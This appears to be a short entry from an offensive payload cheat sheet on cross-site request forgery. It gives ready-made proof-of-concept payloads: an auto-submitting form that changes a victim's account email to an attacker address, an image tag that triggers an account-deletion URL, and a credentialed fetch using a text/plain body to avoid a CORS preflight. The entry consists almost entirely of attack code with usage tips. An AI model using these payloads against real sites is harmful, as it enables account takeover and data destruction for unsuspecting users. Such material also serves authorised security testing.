CSRF
Minimal PoC shapes. Prefer a real state-changing URL from the target. JSON needs a content-type the browser will send without a preflight.
Tags: csrf, samesite
Controlled probes
<form action="https://target/account/email" method="POST"><input name="email" value="attacker@evil.example"></form><script>document.forms[0].submit()</script><img src="https://target/account/delete?confirm=1">fetch('https://target/api/email',{method:'POST',credentials:'include',headers:{'Content-Type':'text/plain'},body:'{"email":"attacker@evil.example"}'})